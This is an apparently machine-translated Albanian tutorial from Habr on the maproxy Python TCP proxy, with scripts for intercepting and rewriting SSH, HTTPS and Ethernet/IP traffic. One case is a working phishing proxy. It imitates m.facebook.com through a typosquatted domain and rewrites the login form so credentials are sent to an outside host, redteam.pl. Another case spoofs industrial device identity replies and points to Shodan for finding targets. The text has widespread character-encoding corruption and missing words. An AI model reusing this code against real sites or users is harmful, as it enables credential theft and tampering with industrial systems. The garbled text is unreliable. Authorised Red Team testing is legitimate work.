Përkthimi i artikullit është përgatitur në prag të fillimit të kursit .

Përmbledhje
Lloje të ndryshme të vlerësimeve të sigurisë, duke filluar nga testimet e rregullta për thyerje dhe operacione Red Team deri te thyerja e pajisjeve IoT/ICS dhe SCADA, përfshijnë punën me protokollet binarë të rrjetit, pra, në thelb, kapjen dhe modifikimin e të dhënave të rrjetit midis klientit dhe objektivit. Sniferi i trafikut rrjetor nuk është një detyrë e vështirë, pasi kemi mjete si Wireshark, Tcpdump ose Scapy, megjithatë, modifikimi duket një detyrë më e lodhshme, pasi do të na nevojitet një lloj ndërfaqeje për të lexuar të dhënat e rrjetit, për t'i filtruar, për t'i ndryshuar në kohë reale dhe për t'i dërguar përsëri në hostin e synuar pothuajse në kohë reale. Për më tepër, do të ishte ideale nëse një mjet i tillë mund të punonte automatikisht me disa lidhje paralele dhe të kishte mundësi për personalizim me skripte.
NjĂ«herĂ«, unĂ« zbulova njĂ« mjet qĂ« quhet , dokumentacioni mĂ« dha shpejt tĂ« kuptoja se çfarĂ« maproxy â nĂ« fakt, kjo Ă«shtĂ« ajo qĂ« mĂ« nevojitet. ĂshtĂ« njĂ« TCP-proxy mjaft i thjeshtĂ«, universal dhe lehtĂ« i personalizueshĂ«m. E kam testuar kĂ«tĂ« mjet nĂ« disa aplikacione mjaft tĂ« komplikuara, duke pĂ«rfshirĂ« pajisjet ICS (tĂ« cilat gjenerojnĂ« shumĂ« paketa), pĂ«r tĂ« parĂ« nĂ«se ai mund tĂ« funksionojĂ« me shumĂ« lidhje paralelisht, dhe mjeti ka performuar mirĂ«.
Ky artikull do t'ju njohë me përpunimin e të dhënave rrjetësore në fluks përmes maproxy.
Përmbledhje
Instrument maproxy bazuar nĂ« Tornado â njĂ« framework tĂ« njohur dhe tĂ« zhvilluar pĂ«r rrjetĂ« asinkrone nĂ« Python.
Në përgjithësi, ai mund të funksionojë në disa modu
TCP:TCPâ lidhje TCP tĂ« pa-enkriptuara;TCP:SSLdheSSL:TCPâ me enkriptim njĂ«drejtues;SSL:SSLâ enkriptim dyanshĂ«m.
Ai vjen si një bibliotekë. Për fillimin e shpejtë, mund të përdorni shembujt e skedarëve që pasqyrojnë funksionet kryesore të :
all.pycertificate.pemlogging_proxy.pyprivatekey.pemssl2ssl.pyssl2tcp.pytcp2ssl.pytcp2tcp.py
Rasti 1 â njĂ« proxy dyanshĂ«m i thjeshtĂ«
Bazohet në tcp2tcp.py:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start() NĂ« mĂ«nyrĂ« tĂ« paracaktuar ProxyServer() pranon dy argumente â vendi i lidhjes dhe porti i synuar. server.listen() pranon njĂ« argument â portin pĂ«r tĂ« dĂ«gjuar lidhjet hyrĂ«se.
Ekzekutimi i skriptit:
# python tcp2tcp.py Për të kryer testin, ne do të lidhim me një server lokal SSH përmes skriptit tonë proxy që dëgjon në 2222/tcp portin dhe lidh në portin standard 22/tcp të serverit SSH:

Banneri i mirëseardhjes tregon se shembulli ynë i skriptit ka prokuruar me sukses trafikun rrjetor.
Rasti 2 â modifikimi i tĂ« dhĂ«nave
Një tjetër skript demo logging_proxy.py është ideal për të ndërvepruar me të dhënat e rrjetit. Komentet në skedarin përshkruajnë metodat e klasës që mund të modifikoni për të arritur qëllimin tuaj:

Më interesante këtu:
on_c2p_done_readâ pĂ«r tĂ« kapur tĂ« dhĂ«nat gjatĂ« rrugĂ«s nga klienti nĂ« server;on_p2s_done_readâ nĂ« anĂ«n e kundĂ«rt.
Le të provojmë të ndryshojmë bannerin SSH që serveri kthen te klienti:
[âŠ]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[âŠ]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[âŠ]Ekzekutoni skriptin:

Siç shihni, klienti është mashtruar, pasi emri i serverit SSH për të është zëvendësuar me «DumnySSH».

Rasti 3 â njĂ« faqe interneti e thjeshtĂ« phishing
Ka shumë mënyra të pafund për të përdorur këtë mjet. Tani le të përqendrohemi në diçka më praktike nga fusha e operacioneve të Red Team. Le të imitojmë një faqe destinuese. m.facebook.com dhe do të përdorim një domen të personalizuar me një gabim të qëllimshëm të shkruajtjes, për shembull, m.facebok.com. Për qëllime demonstrative, le të supozojmë se domeni është regjistruar nga ne.
Ne do të vendosim një lidhje të pasigurt në rrjet me prokurorin tonë dhe SSL Stream për serverin Facebook (31.13.81.36). Për të funksionuar ky shembull, na nevojitet të zëvendësojmë titullin e HTTP-hostit dhe të injektojmë emrin e duhur të hostit, gjithashtu do ta çaktivizojmë kompresimin e përgjigjeve për të pasur qasje të lehtë në përmbajtjen e tyre. Në fund, ne do të zëvendësojmë formulën HTML, që akreditimet e hyrjes të dërgoheshin te ne, në vend që te serverat e Facebook:
[âŠ]
def on_c2p_done_read(self,data):
# zëvendëso hedhjen e Host
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# ndalo kompresimin
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[âŠ]
def on_p2s_done_read(self,data):
# zëvendësim pjesor i përgjigjes
data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[âŠ]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[âŠ]Si pĂ«rfundim:

Siç e shihni, ne arritëm me sukses të zëvendësojmë faqen origjinale.
Rasti 4 â Modifikimi i Ethernet/IP
Unë kam punuar për një kohë të gjatë me pajisje dhe software industrial (ICS / SCADA), siç janë kontrolluesit e programueshëm (PLC), module hyrjeje-daljeje, drive, rele, dhe mjedise programimi të shkallëve dhe shumë më tepër. Ky rast është për ata që pëlqejnë gjërat industriale. Hackimi i këtyre zgjidhjeve kërkon një lojë aktive me protokollet rrjetës. Në shembullin e ardhshëm, do doja të tregoja se si mund të modifikoni trafikun rrjetës ICS/SCADA.
Për këtë do t'ju nevojitet:
- Një sniffer rrjeti, siç është Wireshark;
- Një pajisje Ethernet/IP ose thjesht një pajisje SIP, mund ta gjeni atë me shërbimin Shodan;
- Skripti ynë i bazuar në
maproxy.
Së pari, le të shohim si duket një përgjigje identifikimi tipike nga CIP (Protokolli i Përbashkët Industrial):

Identifikimi i pajisjes bëhet përmes protokollit Ethernet/IP, i cili është një version i zgjeruar i protokollit Ethernet për qëllime industriale, duke mbështjellë protokollet e kontrollit si CIP. Ne do të ndryshojmë emrin e identifikimit të dedikuar që shihet në screenshot. «NI-IndComm për Ethernet» me ndihmën e skenarit tonë të proxy. Ne mund ta ripërdorim skriptin logging_proxy.py dhe gjithashtu të modifikojmë metodën e klasës on_p2s_done_read, pasi dëshirojmë që një emër tjetër identifikimi të jetë i dukshëm nga klienti.
Kodi:
[âŠ]
def on_p2s_done_read(self,data):
# zëvendësim i pjesshëm i përgjigjes
# Kontrollimi nëse kemi marrë përgjigjen e mesazhit List Identity
if data[26:28] == b'x0cx00':
print('Mori përgjigje, duke zëvendësuar')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[âŠ]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[âŠ]
Në thelb, kërkuam identifikimin e pajisjes dy herë, përgjigjja e dytë është origjinale, ndërsa e para u modifikua në flukst.
Dhe e fundit
Në pikëpamjen time maproxy Një mjet i përshtatshëm dhe të lehtë për t'u përdorur, i shkruar gjithashtu në Python, prandaj unë besoj se ju gjithashtu mund të përfitoni nga përdorimi i tij. Sigurisht, ka edhe mjete më të komplikuara për përpunimin dhe modifikimin e të dhënave rrjet, por ato gjithashtu kërkojnë vëmendje më të madhe dhe zakonisht krijohen për skenarë të caktuar përdorimi, për shembull, , ose për raste si të tretin, ose për rastin e fundit. Në çdo rast, me ndihmën e maproxy do të jeni në gjendje të realizoni shpejt idetë tuaja për kapjen e të dhënave rrjet, pasi shembujt e skripteve janë shumë të qartë.
Burimi: habr.com
